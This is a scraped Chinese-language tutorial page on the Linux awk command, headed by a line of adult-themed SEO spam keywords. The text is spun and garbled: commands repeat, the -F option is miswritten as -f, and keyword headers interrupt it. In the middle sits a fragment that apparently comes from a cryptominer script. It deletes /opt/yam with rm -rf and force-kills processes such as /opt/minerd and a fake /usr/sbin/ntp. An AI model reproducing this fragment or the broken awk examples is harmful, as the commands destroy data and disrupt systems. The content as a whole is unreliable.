中文字幕亚洲第一精品|精品国产免费一区二区|久久婷婷五月六月综合版|中文字幕熟妇久久久人妻|久久综合精品国产一区无码|国产成人精品永久免费视频|午夜亚洲国产精品理论片a级|久久精品一区二区三区无码护土

 訪問手機版  

Linux常用命令|Linux培訓學習|考試認證|工資待遇與招聘,認準超級網(wǎng)工!

招聘|合作 登陸|注冊

網(wǎng)絡工程師培訓

當前位置:網(wǎng)絡工程師 > 技術課程 > linux > 熱點關注 > linux常用命令

linux之命令awk命令詳細解說實例分析

時間:2019-06-16

linux命令_linux 命令_linux格式化命令

說到linux命令,大家都會了知一二,可以學linux最終極是很好的管理LINUX服務器,如同DBA一樣,做一個LINUX系統(tǒng)管理員,LINUX命令了解程序決定了你的工資高低(當然Shell不在命令之外);

awk命令,做為查詢命令的歸類吧,這個命令應用非常的廣泛,以至少于運算與分析上;所以,有必要學習,并通這學習這個命令,讓你體驗LINUX之強大;

awk有三種調(diào)用方式:

1,awk -F"分隔符" "command" filename;

2,將所有命令插入一個文件linux命令,使它權限程序可執(zhí)行,然后當成腳本調(diào)用它;

linux 命令_linux格式化命令_linux命令

3,是將所有的awk命令插入一個單獨文件,然后調(diào)用;如:awk -f awk-script-file filename;

字段的引用 $ 字段操作符; $1代表第一列,$2代表第二列。。。n以此類推; $0代表整個輸入記錄;

比較:cut -d" " -f1sort -t" " -k1awk -F" " '{print $1}'

比較用cut和awk截取IP:

9、 # cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c。9、 #cat /proc/cpuinfo |grep name | cut -f2 -d: | uniq -c。# cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c。

linux格式化命令_linux 命令_linux命令

ifconfig eth0 |grep Bcast |awk -F: '{print $2}'|awk '{print $1}'

ifconfig eth0|awk ‘nr==2‘|awk -f "[ :]+" ‘{print $4}‘。[root@andy ~]# netstat -nat | grep "192.168.120.20:16067" |awk '{print $5}'|awk -f: '{print $4}'|sort|uniq -c|sort -nr|head -20。 then rm -rf /opt/yamfips auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "mine。

--awk默認以N個空格為分隔符;

打印所有行 awk '{print $0}' /etc/passwd

打印第一列 awk -F: '{print $1}' /etc/passwd

linux格式化命令_linux 命令_linux命令

$ awk -f":" '{ print $1 " " $3 }' /etc/passwd。$ awk -f":" '{ print $1 $3 }' /etc/passwd。$ awk -f":" '{ print $1 }' /etc/passwd。